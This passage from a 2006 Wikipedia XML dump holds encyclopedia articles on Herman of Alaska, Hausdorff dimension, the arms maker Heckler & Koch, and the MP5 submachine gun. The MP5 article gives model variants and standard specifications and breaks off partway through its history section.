Herman of [[Alaska]] was a Russian Orthodox [[monk]] from the [[Valaam Monastery]] in [[Russia]], who traveled with eight other monks in [[1793]] to bring the [[Gospel]] to the native [[Aleut]]s and [[Eskimo]]s in the [[Aleutian Islands]]. As part of the [[Russian colonization of the Americas]] Russians had been exploring and trading there since at least 1740. Thus, he marks the first arrival of [[Eastern Orthodoxy|Orthodox Christian]] missionaries in [[North America]]. He built a school for the Aleutians, and often defended them from the injustices and exploitation of the Russian traders. He was known to them as &quot;Apa&quot; which means &quot;Grandfather.&quot; He lived most of his life as the sole resident of Spruce Island, a tiny wooded island near [[Kodiak Island Borough, Alaska|Kodiak Island]]. [[Feast day]]s: [[August 9]] and [[December 13]].

{{saint-stub}}

[[Category:1756 births|Herman of Alaska]]
[[Category:1837 deaths|Herman of Alaska]]
[[Category:Saints]]
[[Category:Monks and nuns]]

[[fi:Herman Alaskalainen]]</text>
    </revision>
  </page>
  <page>
    <title>Hausdorff dimension</title>
    <id>14294</id>
    <revision>
      <id>41573490</id>
      <timestamp>2006-02-28T06:01:01Z</timestamp>
      <contributor>
        <username>CSTAR</username>
        <id>61089</id>
      </contributor>
      <comment>/* Results */</comment>
      <text xml:space="preserve">In [[mathematics]], the '''Hausdorff dimension''' is an [[extended real number line|extended]] non-negative [[real number]] (that is a number in the closed infinite interval [0, &amp;infin;])  associated to any [[metric space]].  It was introduced in [[1918]] by the [[mathematician]] [[Felix Hausdorff]]. Many of the technical developments used to compute the Hausdorff dimension for highly irregular sets were obtained by [[Abram Samoilovitch Besicovitch]].  For this reason, Hausdorff dimension is sometimes referred to as '''Hausdorff-Besicovitch dimension'''.  It is also less frequently called the '''capacity dimension''' or '''fractal dimension'''.

==Informal discussion==

Intuitively, the dimension of a set (for example, a [[subset]] of [[Euclidean space]]) is the number of independent parameters needed to describe a point in the set.  One mathematical concept which closely models this naïve idea is that of [[topological dimension]] of a set. For example a point in the plane is described by two independent parameters (the [[cartesian coordinate]]s of the point), so in this sense,  the plane is two-dimensional. As one would expect, topological dimension is always a [[natural number]].  

However, topological dimension behaves in quite unexpected ways on certain highly irregular sets such as [[fractal]]s. For example the [[Cantor set]] has topological dimension zero, but in some sense it behaves as a higher dimensional space.  Hausdorff dimension gives another way to define dimension, which takes the metric into account. 

[[Image:Sierpinski triangle (blue).jpg|thumb|300px|[[Sierpinski triangle]]. A space having fractional dimension ln 3 / ln 2, which is approximately 1.58]]

To define the Hausdorff dimension for ''X'', we first consider the number N(''r'') of [[ball (mathematics)|balls]] of radius at most ''r'' required to cover ''X'' completely.  Clearly, as ''r'' gets smaller  N(''r'') gets larger. Very roughly, if N(''r'') grows in the same way as 1/''r''&lt;sup&gt;''d''&lt;/sup&gt; as ''r''  is squeezed down towards zero,  then we say ''X'' has dimension ''d''.  In fact the rigorous definition of Hausdorff dimension is somewhat roundabout, since it first defines an entire family of covering measures for ''X''. It turns out that Hausdorff dimension  refines the concept of topological dimension and also relates it to other properties of the space such as area or volume.

There are various closely related notions of possibly fractional dimension.  For example [[box-counting dimension]], generalises the idea of counting the squares of [[graph paper]] in which a point of ''X'' can be found, as the size of the squares is made smaller and smaller. (The box-counting dimension is also called the [[Minkowski-Bouligand dimension]]).

These notions (topological dimension, Hausdorff dimension, Minkowski-Bouligand dimension) all give the same value for many shapes. They give different values for some highly irregular curves. Those curves were originally called &quot;[[monster curve]]s&quot; because they seemed so bizarre and non-intuitive at the time. But [[Benoît Mandelbrot]] says that most shapes found in nature are best modeled by such irregular curves.

==Formal definition==

The Hausdorff dimension gives an accurate way to measure the [[dimension]] of an arbitrary [[metric space]]; this includes complicated [[mathematical set|set]]s such as [[fractal]]s. 

Suppose (''X'',''d'') is a metric space.  As mentioned in the introduction, we are interested in counting the number of balls of some radius  necessary to cover a given set.  It is possible to try to do this directly for many sets (leading to so-called box counting dimension), but Hausdorff's insight was to approach the problem indirectly using the theory of [[countably additive measure| measure]] developed earlier in the century by [[Henri Lebesgue]] and [[Constantin Caratheodory]].   In order to deal with the technical details of this approach, Hausdorff defined an entire family of measures on subsets of ''X'', one for each possible dimension ''s'' &amp;isin; &lt;nowiki&gt;[0,&amp;infin;)&lt;/nowiki&gt;. For example, if ''X''= '''R'''&lt;sup&gt;3&lt;/sup&gt;, this construction assigns an ''s'' dimensional measure ''H''&lt;sup&gt;''s''&lt;/sup&gt; to all subsets  of '''R'''&lt;sup&gt;3&lt;/sup&gt; including the unit segment along the ''x''-axis [0,1] &amp;times; {0} &amp;times; {0}, the unit square on the ''x''-''y'' plane [0,1] &amp;times; [0,1] &amp;times; {0} and the unit cube [0,1] &amp;times; [0,1] &amp;times; [0,1].  For ''s'' = 2, one would expect

* &lt;math&gt; H^2([0,1] \times \{0\} \times \{0\}) = 0 &lt;/math&gt;

* &lt;math&gt; 0 &lt; H^2([0,1] \times [0,1] \times \{0\}) &lt; +\infty &lt;/math&gt;

* &lt;math&gt; H^2([0,1] \times [0,1] \times [0,1]) = +\infty &lt;/math&gt;

The above example suggests that we can define a set ''A'' to have Hausdorff dimension ''s'' if its ''s''-dimensional Hausdorff measure is positive and finite; in fact we have to modify this slightly.  The Hausdorff dimension of ''A'' is the cutoff value ''s'' where below ''s'' the ''s''-dimensional Hausdorff measure is &amp;infin; and above ''s'' it is 0. It is possible for the ''s'' dimensional Hausdorff measure of an ''s'' dimensional set to  be 0 or &amp;infin;. For instance '''R''' has dimension 1 and its 1-dimensional Hausdorff measure is infinite.

To carry this construction of this measure, we use a theory of measure which is appropriate for metric spaces.  Define a family of [[outer measure|metric outer measure]]s on ''X'' using the ''Method'' II construction of outer measures due to Munroe and described in the article [[outer measure]]. Let ''C'' be the class of all subsets of ''X''; for each positive [[real number]] ''s'', let ''p''&lt;sub&gt;''s''&lt;/sub&gt; be the function ''A'' &amp;rarr; diam(''A'')&lt;sup&gt;''s''&lt;/sup&gt; on ''C''. ''Hausdorff outer measure'' of dimension ''s'', denoted ''H''&lt;sup&gt;''s''&lt;/sup&gt; is the outer measure corresponding to the function ''p''&lt;sub&gt;''s''&lt;/sub&gt; on ''C''.

Thus for any subset ''E'' of ''X''
:&lt;math&gt; H^s_\delta(E) = \inf\Bigg\{\sum_{i=1}^\infty \operatorname{diam}(A_i)^s\Bigg\}&lt;/math&gt;
where the [[infimum]] is taken over sequences {''A''&lt;sub&gt;''i''&lt;/sub&gt;}&lt;sub&gt;''i''&lt;/sub&gt; which cover ''E'' by sets each with diameter &amp;le; &amp;delta;. Then 
:&lt;math&gt; H^s(E) = \lim_{\delta \rightarrow 0} H^s_\delta(E). &lt;/math&gt;

We can succinctly (though not in a very useful way) describe the value ''H''&lt;sup&gt;''s''&lt;/sup&gt;(''E'') as the [[infimum]] of all ''h'' &gt; 0 such that for all &amp;delta; &gt; 0, ''E'' can be covered by [[countable|countably many]] closed sets of diameter &amp;le; &amp;delta; and the sum of the ''s''-th powers of these diameters is less than or equal to ''h''.

==Results==
The Hausdorff outer measure ''H''&lt;sup&gt;''s''&lt;/sup&gt; is defined for all subsets of ''X''.  However, we can in general assert additivity properties, that is 

: &lt;math&gt; H^s(A \cup B) = H^s(A) + H^s(B) &lt;/math&gt;

for disjoint ''A'', ''B'', only when  ''A'' and  ''B'' satisfy some additional condition, such as both being [[Borel algebra|Borel sets]] (or more generally, that they are both measurable sets).  From the perspective of assigning measure and dimension to sets with unusual metric properties such as fractals, however, this is not a restriction. 

'''Theorem'''. ''H''&lt;sup&gt;''s''&lt;/sup&gt; is a metric outer measure.  Thus all Borel subsets of ''X'' are measurable and ''H''&lt;sup&gt;''s''&lt;/sup&gt; is a countably additive measure on the &amp;sigma;-algebra of Borel sets.

Clearly, if (''X'', ''d'') and (''Y'', ''e'') are [[isomorphic]] metric spaces, then the corresponding Hausdorff measure spaces are also isomorphic. It is more useful to note however that Hausdorff measure even behaves well under certain bounded modifications of the underlying metric.  Hausdorff measure is a [[Lipschitz continuity|Lipschitz]] invariant in the following sense:  If ''d'' and ''d''&lt;sub&gt;1&lt;/sub&gt; are metrics on ''X'' such that for some ''0&lt; C &lt; &amp;infin;'' and all ''x'', ''y'' in ''X'', 
:&lt;math&gt;  C^{-1} d_1(x,y) \leq d(x,y) \leq C d_1(x,y) &lt;/math&gt;
then the corresponding Hausdorff measures ''H''&lt;sup&gt;s&lt;/sup&gt;, ''H''&lt;sub&gt;1&lt;/sub&gt;&lt;sup&gt;''s''&lt;/sup&gt; satisfy
:&lt;math&gt; C^{-s} H^s_1(E) \leq H^s(E) \leq C^s H^s_1(E)&lt;/math&gt;
for any Borel set ''E''.

The function ''s'' &amp;rarr; ''H''&lt;sup&gt;''s''&lt;/sup&gt;(''E'') is non-increasing.
In fact, it turns out that for all values of ''s'', except possibly one  ''H''&lt;sup&gt;''s''&lt;/sup&gt;(''E'') is either 0 or &amp;infin;. We say ''E'' has positive finite Hausdorff dimension iff there is a real number 0&lt;''d''&lt; &amp;infin; such that if ''s'' &lt; ''d'' then ''H''&lt;sup&gt;''s''&lt;/sup&gt;(''E'') = &amp;infin; and if ''s'' &gt; ''d'', then ''H''&lt;sup&gt;''s''&lt;/sup&gt;(''E'') = 0. If
''H''&lt;sup&gt;''s''&lt;/sup&gt;(''E'')=0 for all positive ''s'', then ''E'' has Hausdorff dimension 0.  Finally, if ''H''&lt;sup&gt;''s''&lt;/sup&gt;(''E'')=&amp;infin; for all positive ''s'', then ''E'' has Hausdorff dimension &amp;infin; 

The Hausdorff dimension is a well-defined extended [[real number]] for any set ''E'' and we always have 0 &amp;le; ''d''(''E'') &amp;le; &amp;infin;.  It follows from the Lipschitz property of Hausdorff measure that Hausdorff dimension is a Lipschitz invariant.  Its relation to topological properties is outlined below.

Note that if ''m'' is a positive integer, the ''m'' dimensional Hausdorff measure of '''R'''&lt;sup&gt;n&lt;/sup&gt; is a rescaling of usual ''m''-dimensional Lebesgue measure &amp;lambda;&lt;sub&gt;''m''&lt;/sub&gt; which is normalized so that the Lebesgue measure of the ''m''-dimensional unit cube [0,1]&lt;sup&gt;''m''&lt;/sup&gt; is 1. In fact, for any Borel set ''E'',
:&lt;math&gt; \lambda_m(E) = 2^{-m} \frac{\pi^{m/2}}{\Gamma(\frac{m}{2}+1)} H^m(E). &lt;/math&gt; 

'''Remark'''.  Some authors adopt a slightly different definition of Hausdorff measure than the one chosen here, the difference being that it is normalized in such a way that Hausdorff ''m''-dimensional measure in the case of Euclidean space coincides exactly with Borel measure &amp;lambda;. 

See the Federer reference below for additional material on other fractal measures.

== Examples ==

* The [[Euclidean space]] '''R'''&lt;sup&gt;''n''&lt;/sup&gt; has Hausdorff dimension ''n''.
* The [[circle]] S&lt;sup&gt;1&lt;/sup&gt; has Hausdorff dimension 1.
* [[Countable set]]s have Hausdorff dimension 0.
* [[Fractal]]s often are spaces whose Hausdorff dimension strictly exceeds the [[topological dimension]]. For example, the [[Cantor set]] (a zero-dimensional topological space) is a union of two copies of itself, each copy shrunk by a factor 1/3; this fact can be used to prove that its Hausdorff dimension is &lt;math&gt; \ln 2/\ln 3, &lt;/math&gt; which is approximately &lt;math&gt; 0{.}63 &lt;/math&gt; (see [[natural logarithm]]). The [[Sierpinski triangle]] is a union of three copies of itself, each copy shrunk by a factor of 1/2; this yields a Hausdorff dimension of &lt;math&gt; \ln 3/ \ln 2 &lt;/math&gt;, which is approximately &lt;math&gt; 1{.}58 &lt;/math&gt;.
* [[Spacefilling curve]]s like the [[Peano curve|Peano]] and the [[Sierpiński curve]] by definition have Hausdorff dimension 2.
* The trajectory of [[Brownian motion]] in dimension 2 and above has Hausdorff dimension 2 [[almost surely]].

== Hausdorff dimension and topological dimension ==

Let ''X'' be an arbitrary [[Separable space|separable]] metric space. There is a notion of [[inductive dimension|topological dimension]] for ''X'' which is defined recursively.  It is always an integer (or +&amp;infin;) and is denoted dim&lt;sub&gt;top&lt;/sub&gt;(''X'').

'''Theorem'''.  Suppose ''X'' is non-empty.  Then 
:&lt;math&gt; \operatorname{dim}_{\mathrm{Haus}}(X) \geq \operatorname{dim}_{\mathrm{top}}(X) &lt;/math&gt;
Moreover
:&lt;math&gt; \inf_Y \operatorname{dim}_{\mathrm{Haus}}(Y) =\operatorname{dim}_{\mathrm{top}}(X) &lt;/math&gt;
where ''Y'' ranges over metric spaces [[homeomorphic]] to ''X''.  In other words, ''X'' and ''Y'' have the same underlying set of points and the metric ''d''&lt;sub&gt;''Y''&lt;/sub&gt; of ''Y'' is topologically equivalent to ''d''&lt;sub&gt;''X''&lt;/sub&gt;.  

These results were originally established by [[Edward Szpilrajn]] (1907-1976).  The treatment in Chapter VIII of the Hurewicz and Wallman reference is particularly recommended.

== Self-similar sets ==

Many sets defined by a self-similarity condition have dimensions which can be determined explicitly.  Roughly, a set ''E'' is self-similar if it is the fixed point of a set-valued transformation &amp;psi;, that is &amp;psi;(''E'') = ''E'', although the exact definition is given below.  The following is Theorem 8.3 of the Falconer reference below: 

'''Theorem'''.  Suppose 

:&lt;math&gt; \psi_i: \mathbb{R}^n \rightarrow \mathbb{R}^n, \quad i=1, \ldots , m  &lt;/math&gt; 

are [[contraction|contractive]] mappings on '''R'''&lt;sup&gt;''n''&lt;/sup&gt; with contraction constant ''r''&lt;sub&gt;''j''&lt;/sub&gt; &lt; 1.  Then there is a  unique ''non-empty'' compact set ''A'' such that

: &lt;math&gt; A = \bigcup_{i=1}^m \psi_i (A). &lt;/math&gt;

This follows from [[Banach]]'s [[Contractive mapping theorem|contractive mapping fixed point theorem]] applied to the complete metric space of non-empty compact subsets of '''R'''&lt;sup&gt;''n''&lt;/sup&gt; with the [[Hausdorff distance]].

To determine the dimension of the self-similar set ''A'' (in certain cases), we need a technical condition called the ''open set condition'' on the sequence of contractions &amp;psi;&lt;sub&gt;''i''&lt;/sub&gt; which is stated as follows: There is a relatively compact open set ''V'' such that

:&lt;math&gt; \bigcup_{i=1}^m\psi_i (V) \subseteq V &lt;/math&gt;

where the sets in union on the left are pairwise [[disjoint]].

'''Theorem'''. Suppose the open set condition holds and each &amp;psi;&lt;sub&gt;''i''&lt;/sub&gt; is a similitude, that is a composition of an [[isometry]] and a [[dilation]] around some point.  Then the unique fixed point of &amp;psi; is a set whose Hausdorff dimension is ''s'' where ''s'' is the unique solution of 

:&lt;math&gt; \sum_{i=1}^m r_i^s = 1. &lt;/math&gt;

Note that the contraction coefficient of a similitude is the magnitude of the dilation.

We can use this theorem to compute the Hausdorff dimension of the Sierpinski triangle (or sometimes called Sierpinski gasket).  Consider three [[non-collinear points]] ''a''&lt;sub&gt;1&lt;/sub&gt;, ''a''&lt;sub&gt;2&lt;/sub&gt;, ''a''&lt;sub&gt;3&lt;/sub&gt; in the plane '''R'''&lt;sup&gt;2&lt;/sup&gt; and let &amp;psi;&lt;sub&gt;''i''&lt;/sub&gt; be the dilation of ratio 1/2 around ''a''&lt;sub&gt;''i''&lt;/sub&gt;.  The unique non-empty fixed point of the corresponding mapping &amp;psi; is a Sierpinski gasket and the dimension ''s'' is the unique solution of

:&lt;math&gt; \left(\frac{1}{2}\right)^s+\left(\frac{1}{2}\right)^s+\left(\frac{1}{2}\right)^s = 3 \left(\frac{1}{2}\right)^s =1. &lt;/math&gt;

Taking natural logarithms of both sides of the above equation, we can solve for ''s'', that is:

:&lt;math&gt; s = \frac{\ln 3}{\ln 2}. &lt;/math&gt;

The Sierpinski gasket is self-similar.  In general a set ''E'' which is a fixed point of a mapping

: &lt;math&gt; A \mapsto \psi(A) = \bigcup_{i=1}^m \psi_i(A) &lt;/math&gt;

is self-similar iff the intersections 

:&lt;math&gt; H^s\left(\psi_i(E) \cap \psi_j(E)\right) =0 &lt;/math&gt; 

where ''s'' is the Hausdorff dimension of ''E''.  This is clear in the case of the Sierpinski gasket (the intersections are just points), but is also true more generally:

'''Theorem'''.  Under the same conditions as the previous theorem, the unique fixed point of &amp;psi; is self-similar.

==Historical references==
* A. S. Besicovitch, ''On Linear Sets of Points of Fractional Dimensions'', [[Mathematische Annalen]] '''101''' (1929).
* A. S. Besicovitch and H. D. Ursell, ''Sets of Fractional Dimensions'', Journal of the London Mathematical Society, v12 (1937).  Several selections from this volume are reprinted in ''Classics on Fractals'',ed. Gerald A. Edgar, Addison-Wesley (1993) ISBN 0-201-58701-7 See chapters 9,10,11.
* F. Hausdorff, ''Dimension und äusseres Mass'', Mathematische Annalen '''79''' (1919).

== References ==

* M. Maurice Dodson and Simon Kristensen, [http://arxiv.org/abs/math/0305399 ''Hausdorff Dimension and Diophantine Approximation''] ([[June 12]], [[2003]]).
* L. Evans and R. Gariepy, ''Measure Theory and Fine Properties of Functions'', CRC Press, 1992
* K. J. Falconer, ''The Geometry of Fractal Sets'', Cambridge University Press, 1985
* H. Federer, ''Geometric Measure Theory'', Springer-Verlag, 1969.
* [[Witold Hurewicz|W. Hurewicz]] and H. Wallman, ''Dimension Theory'', Princeton University Press, 1948.
* Frank Morgan, ''Geometric Measure Theory'', Academic Press, 1988.  Good introductory presentation with lots of illustrations.
* [[Edward Marczewski|E. Szpilrajn]], ''La dimension et la mesure'', Fundamenta Mathematica 28, 1937, pp 81-89.

[[Category:Fractals]]
[[Category:Measure theory]]
[[Category:Metric geometry]]
[[Category:Dimension theory]]

[[de:Hausdorff-Dimension]]
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  </page>
  <page>
    <title>Heckler &amp; Koch</title>
    <id>14296</id>
    <revision>
      <id>42037665</id>
      <timestamp>2006-03-03T10:45:33Z</timestamp>
      <contributor>
        <username>BSI</username>
        <id>931658</id>
      </contributor>
      <text xml:space="preserve">[[Image:Hk logo.gif|thumb|right|200px|Heckler &amp; Koch Logo]]
'''Heckler &amp; Koch GmbH''' ('''H&amp;K''') is a [[Germany|German]] [[weapon]]s manufacturing [[corporation|company]] famous for various series of small [[firearm]]s, notably the [[Heckler &amp; Koch MP5|MP5]] [[submachine gun]], the [[Heckler &amp; Koch MP7|MP7]] [[personal defense weapon]], the extremely precise [[sniper rifle]] [[Heckler &amp; Koch PSG1|PSG1]], and the [[Heckler &amp; Koch G3|G3]] and [[Heckler &amp; Koch G36|G36]] [[assault rifle]]s. Heckler &amp; Koch are famous for the precision, durability, reliability and accuracy of their firearms. All firearms made by H&amp;K are named by the prefix HK and the official designation.

Heckler &amp; Koch has a history of innovations in small arms, such as the use of [[polymer]]s. Not all of its technologically ambitious designs have resulted in successful products (for instance, the advanced but now abandoned [[Heckler &amp; Koch G11|G11]] [[assault rifle]]). HK produces the whole range of [[small arms]], from [[pistol]]s to [[Hand grenade|grenade]], and [[machine gun]]s. In its extensive product range, HK has used most of the operating systems for small arms: [[Blowback (arms)|blowback]], [[short-recoil]], [[roller-delayed blowback]], [[gas-delayed blowback]], and [[gas-operated]]. 
 
HK was founded by Edmund Heckler, Theodor Koch, and Alex Seidel in [[1949]] from the remnants of [[Mauser]], and the company was registered in [[1950]]. In the beginning, the company produced [[sewing machine]]s and other fine mechanics, but this was changed in [[1956]] when the company constructed a [[rifle]] for the German [[Bundeswehr]]. In [[1991]], H&amp;K was bought by [[British Aerospace]]/[[Royal Ordnance]] (now [[BAE Systems]]) who resold it to a German group that was created for this purpose in [[2002]].

The company is located in [[Oberndorf am Neckar|Oberndorf]] in the [[States of Germany|Bundesland]] of [[Baden-Württemberg]], but also has a subsidiary in the [[United States]]. Their slogan is: &quot;In a world of compromise, some don't!&quot; (There is some confusion about the pronunciation of the word &quot;Koch&quot;. Some non-German speakers incorrectly say &quot;Kotch&quot; or &quot;Coke&quot;, but it rhymes with [http://en.wiktionary.org/wiki/loch loch].)

HK has been contracted by the [[United States Army|U.S. Army]] to produce the [[kinetic energy]] subsystem (see: [[Projectile#Kinetic projectiles|kinetic projectiles]] or [[kinetic energy penetrator]]) of the [[XM29 OICW|Objective Individual Combat Weapon]], a planned replacement for the [[M16 (rifle)|M16]]/[[M203]] grenade launcher combination. OICW will fire both 5.56mm bullets and 25mm grenades. The kinetic component was also developed seperately as the [[XM8 rifle|XM8]], though both the OICW and XM8 are indefinitely suspended.

HK is also contracted to refurbish the [[SA80]] range of weapons for the [[British Army]].

See also: [[List of modern armament manufacturers]]

Selected notable designs or families:
*[[Pistol]]s: [[Heckler &amp; Koch USP|HK USP]] (variants:[[P8]], [[Heckler &amp; Koch P2000|P2000]], [[Heckler &amp; Koch MK23|Mark 23]]), [[Heckler &amp; Koch UCP|HK UCP]], [[HK P7]] 
*[[PDW|Personal Defense Weapon]]s: [[Heckler &amp; Koch MP7|MP7]], [[Heckler &amp; Koch MP5K|MP5K]]
*[[Submachine gun|Submachine guns]]: [[Heckler &amp; Koch MP5|MP5]], [[Heckler &amp; Koch UMP|UMP]]
*[[Assault rifle]]s: [[Heckler &amp; Koch G3|G3]], [[Heckler &amp; Koch G36|G36]], [[HK 53]]
*[[Sniper rifle]]s: [[HK MSG-90]], [[Heckler &amp; Koch PSG1|HK PSG-1]]
*[[Machine guns]]: [[HK 21E]], [[HK MG4]]
*[[Grenade]] launchers: [[AG36]], [[HK GMG]] 
*Other:
**[[Heckler &amp; Koch G11|HK G11]]: experimental rifle
**[[HK P11]]: underwater pistol

see also [[List of Heckler &amp; Koch products]]

==Short List of Heckler &amp; Koch abbreviations==
Format: Abbreviation = German Text (English Text)
*UMP = Universal-Maschinenpistole (Universal Submachine Gun)
*UCP = Ultimate Combat Pistol
*USP = Universal-Selbstladepistole (Universal Selfloading Pistol)
*GMG = Granatmaschinengewehr (Grenade Machine Gun)
*GMW = Granatmaschinenwaffe (Grenade Automatic Weapon)
*SD = Schalldämpfer (Silencer)
*K = kurz (short)

==See also==
*[[List of Heckler &amp; Koch products]]
[[Image:Hkg41cover.jpg|thumb|right|[[Heckler &amp; Koch G41]]]]

==External links==
* http://www.heckler-koch.de/ - Official homepage (International)
* http://www.hk-usa.com/ - Official homepage (US)
* http://www.hkpro.com/ - very comprehensive fan page
* [http://www.remtek.com/arms/hk/index.htm Remtek - HK Small Arms]


[[Category:Defence companies of Germany]]
[[Category:Firearms manufacturers]]

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  <page>
    <title>Heckler &amp; Koch MP5</title>
    <id>14297</id>
    <revision>
      <id>42097632</id>
      <timestamp>2006-03-03T20:36:38Z</timestamp>
      <contributor>
        <username>D.E. Watters</username>
        <id>162146</id>
      </contributor>
      <comment>/* MP5 models */</comment>
      <text xml:space="preserve">{{Firearm|
name=MP5
|image=[[Image:MP5A4.JPG|300px]]
|caption=An MP5A4 (fixed stock and 3-round burst trigger group)
|nation=[[Germany]]
|type=[[Submachine gun]]
|inventor=Tilo Möller, Manfred Guhring,&lt;br /&gt;Georg Seidl, Helmut Baureuter
|date=1964
|serv_date=1966–present
|cartridge= [[9 mm Luger Parabellum|9 x 19 mm Luger]]
|action= [[Blowback (arms)|Roller-delayed blowback]], [[closed bolt]]
|rof= 800 round/min
|velocity= 270 m/s (886 ft/s)
|range= 200 m (219 yd)
|mass= 2.54 kg (5.6 lb) (MP5A2)
|length=
Fixed stock:
:680 mm (26.8 in)
Retractable stock:
:490 mm (19.3 in), retracted;
:660 mm (26 in), extended
|barrel= 225 mm (8.85 in)
|capacity= 15 or 30-round detachable box
|sights= Rear: rotary diopter; front: tritium hooded post. Requires optional mount for optical sights
|variant= MP5K, MP5K-PDW, MP5SD, MP5N, MP5/F, MP5/10, MP5/40, HK94 (see [[Heckler &amp; Koch MP5#MP5 models|MP5 models]])
|num_built= —
|}}

The '''Heckler &amp; Koch MP5''' is a [[submachine gun]] developed by [[Germany|German]] [[weapon]]s manufacturer [[Heckler &amp; Koch]] (HK) in the 1960s. 

A typical MP5 fires [[9 mm Luger Parabellum|9 x 19 mm Luger]] [[ammunition]] from a curved, detachable box-type [[Magazine (firearm)|magazine]]. The MP5's accuracy, reliability, and wide range of accessories and variants have made it the submachine gun of choice for [[military]] and [[law enforcement]] agencies worldwide.

As with most HK weapons, the trigger assembly is completely replaceable, and includes [[Automatic fire|fully-automatic]], 4-, 3- and 2-round burst, single fire, and safe positions in various combinations. MP5s were long chambered for the 9 mm Luger cartridge, commonly used in [[pistol]]s. In the late 1990s, more powerful [[10 mm Auto]] and [[.40 S&amp;W]] versions were introduced, but soon phased out in favor of the new [[Heckler &amp; Koch UMP|UMP]] submachine gun. The MP5 has a roller-delayed blowback mechanism tracing back to a mid-1940s German prototype known as the [[StG45(M)]] and further developed in the [[CETME]] rifle.  The design was developed by Mauser from the roller-locking system patented by [[Edward Stecke]] in the 1930s and used in the [[MG42]].

==Variants==
The original MP5 was available with a fixed (MP5A2) or retractable (MP5A3) stock. Some variants did not have a 3-round burst capacity, or had only a 3-round burst mode. HK has made many general improvements to the MP5 over the years since its introduction.

The next major development was the MP5SD series (SD1&amp;ndash;SD6), introduced in 1974. This model had an integrated [[suppressor]] and a specially-made barrel which reduced the muzzle velocity of its ammunition to just below the [[speed of sound]]. The result was that the MP5SD series is almost inaudible at distances of more than 15 [[Metre|meters]]. By its remarkable sound and almost invisible muzzle flash, it is chosen as a stealthy operating weapon in many police and military forces.

The [[Heckler &amp; Koch MP5K|MP5K]] (the &quot;K&quot; stands for ''kurz'', meaning ''short''), which is only 325 [[1 E-3 m|mm]] long, was introduced in 1976 at the request of a [[South America]]n arms dealer who saw the potential for its sale to [[bodyguard]]s as a concealable, but fully-automatic weapon. It has a vertical foregrip to reduce muzzle rise and aid in automatic firing and it can also be fired from inside a special briefcase. Additionally, a version without the diopter sights but a smooth upper surface and small pistol sights was developed to reduce the likelihood that the weapon would snag during the draw. A further development of the model by the U.S. division of HK was the MP5K-PDW ([[Personal defense weapon|Personal Defense Weapon]]), in 1991. This model was built for [[United States Air Force]] pilots who needed a compact weapon. Unlike the original, the PDW adds a folding stock and can accept a [[suppressor]] and laser sight. All variants of the MP5K are available in the similar configurations as the original weapon. A semi-automatic civilian version known as the SP89 was briefly offered before the 1994 assault weapons ban.

Under a special contract from the [[United States Navy]], HK developed the MP5N or &quot;MP5 Navy&quot; variant for the Navy's elite special operations units (including the [[U.S. Navy SEALs]]). The MP5N features a fully-ambidextrous trigger group, a retractable stock, and a threaded barrel for mounting suppressors. In addition, HK replaced many of the metal parts on the MP5N with lighter and corrosion-resistant plastics.

The MP5/10, an MP5 chambered in the 10 mm Auto cartridge, was HK's first attempt to increase the power of the MP5 series. In 1994, the US [[Federal Bureau of Investigation]] adopted the MP5/10 as their standard submachine gun. Despite the discontinuance of MP5/10 production and the agency's adoption of the .40 S&amp;W cartridge for pistols, the FBI recently solicited HK for the purchase of an additional fifty MP5/10.  The name ''MP10'' has been incorrectly used by some to indicate the MP5/10.  This error was popularized by [[Tom Clancy]]'s book ''[[Rainbow Six (book)|Rainbow Six]]''.

[[Image:Mp5k.jpg|thumb|150px|MP5KA4 9 x 19 mm Luger with 3-round burst trigger group]]
[[Image:Mp5k_brief.jpg|thumb|150px|MP5K 9 x 19 mm Luger with standard &quot;SEF&quot; trigger group in briefcase]]

===MP5 models===
Unless noted otherwise, all MP5 variants are chambered for the [[9 mm Luger Parabellum|9 x 19 mm Parabellum]] cartridge. Generally, ''A2'' denotes fixed stock, ''A3'' denotes retractable stock, and ''A1'' denotes no stock, with a buttcap (or receiver cap) in place.

*'''MP5A1''' — MP5 with buttcap/receiver cap; Navy/&quot;SEF&quot; trigger group
*'''MP5A2''' — fixed stock, Navy/&quot;SEF&quot; trigger group
*'''MP5A3''' — retractable stock, Navy/&quot;SEF&quot; trigger group
*'''MP5A4''' — fixed buttstock, 3-round burst trigger group
*'''MP5A5''' — retractable buttstock, 3-round burst trigger group
*'''MP5SFA2''' — ''SF'' denotes ''single fire'', with full auto removed, making it an ideal police weapon; fixed stock
*'''MP5SFA3''' — MP5SF w/ retractable stock
*'''MP5N''' — model developed especially for [[U.S. Navy]]. Navy trigger group, threaded barrel for attaching a suppressor and retractable stock
*'''MP5K''' — the very short version of the MP5; &quot;SEF&quot; trigger group
*'''MP5KA1''' — MP5K w/ smooth upper surface and small iron sights; &quot;SEF&quot; trigger group
*'''MP5KA4''' — MP5K w/ 3-round burst trigger group
*'''MP5KA5''' — MP5KA1 w/ 3-round burst trigger group
*'''MP5K-N''' — MP5K w/ Navy trigger group and threaded barrel to add suppressor
*'''MP5K-PDW''' — Personal Defense Weapon; MP5K w/ added folding stock and threaded barrel to add suppressor; Navy or 3-round burst trigger group
*'''MP5SD1''' — integrated suppressor (''Schalldämpfer''), A1-type buttcap w/ sling loop; Navy/&quot;SEF&quot; trigger group
*'''MP5SD2''' — integrated suppressor (''Schalldämpfer''), fixed stock; Navy/&quot;SEF&quot; trigger group
*'''MP5SD3''' — integrated suppressor (''Schalldämpfer''), retractable stock; Navy/&quot;SEF&quot; trigger group
*'''MP5SD4''' — MP5SD1 w/ 3-round burst trigger group
*'''MP5SD5''' — MP5SD2 w/ 3-round burst trigger group
*'''MP5SD6''' — MP5SD3 w/ 3-round burst trigger group
*'''MP5/10''' — chambered in [[10 mm Auto]], available in various stock/trigger group configurations
*'''MP5/40''' — chambered in [[.40 S&amp;W]], available in various stock/trigger group configurations
*'''HK94A2''' — MP5SF with fixed stock, 16-inch barrel and special trigger group; designed for civilian market
*'''HK94A3''' — same as HK94A2, but w/ retractable stock
*'''SP89''' — semi-automatic-only version of the MP5K w/ modified foregrip (redesigned into a traditional handguard); designed for civilian market

==History==
The MP5 was first introduced by HK in 1966 under the name HK54. This name comes from HK's old numbering system. The &quot;5&quot; designates the model as a submachine gun, while the &quot;4&quot; identifies it as taking 9 x 19 mm ammunition. The current name dates from when it was officially adopted by the [[West Germany|West German]] government for use by its Police and Border Guard as the ''Maschinenpistole 5'', or MP5 in mid-1966. The [[GSG 9]], the counter-terrorist part of the Border Guard, then introduced the MP5 to other Western counter-terrorist units.

